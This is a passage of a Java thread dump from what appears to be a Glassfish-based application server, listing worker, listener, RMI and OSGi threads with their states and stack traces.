java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixDispatchQueue" #25 daemon [WAITING] on java.util.ArrayList@3198cc3d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.lang.Thread.run(Thread.java:748) + +"RMI Reaper" #94 [WAITING] on java.lang.ref.ReferenceQueue$Lock@bdfc8b3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:748) + +"Thread-26" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2185a638 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-27" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2185a638 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener(2)" #71 daemon [WAITING] on java.lang.Object@63036a37 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"Thread-10" #47 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f7bd18c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.primeton.appserver.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:119) + at com.primeton.appserver.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:98) + +"Thread-44" #154 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6aa3e5aa + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"iiop-service-kernel(1) SelectorRunner" #83 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"pool-18-thread-1" #136 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e2b813a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #130 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@45e4e474 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1-kernel(1) SelectorRunner" #61 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #131 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@45e4e474 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-31" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2185a638 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-5" #30 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1(2)" #54 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@59cfa4c7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2-expirer(1)" #68 daemon [TIMED_WAITING] on java.lang.Object@521333ce + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1(1)" #53 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@59cfa4c7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"pool-7-thread-1" #82 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@644df5c9 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2(5)" #67 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@59fb67f8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1(5)" #57 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@59cfa4c7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"fileinstall-/opt/pas/pas/domains/domain1/autodeploy/bundles/" #108 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:291) + +"Timer-0" #39 daemon [WAITING] on java.util.TaskQueue@120c7910 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"pool-2-thread-1" #77 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@644df5c9 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-24-thread-1" #144 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@644df5c9 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@546a2f24 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-34" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2185a638 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener(5)" #74 daemon [WAITING] on java.lang.Object@63036a37 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-8" #35 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-4-thread-1" #79 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@644df5c9 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Blueprint Extender: 3" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35930f1b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2(1)" #63 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@59fb67f8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"Timer-3" #51 daemon [TIMED_WAITING] on java.util.TaskQueue@2e72eccf + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"pool-3-thread-1" #78 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@644df5c9 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-30-thread-1" #150 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-26-thread-1" #146 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"GC Daemon" #95 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6f9ecc33 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"deployment-jar-scanner" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@45e4e474 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Timer-2" #50 daemon [TIMED_WAITING] on java.util.TaskQueue@77e290aa + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"RMI TCP Accept-8686" #93 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener-kernel(1) SelectorRunner" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"Thread-11" #48 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@46d6490d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at 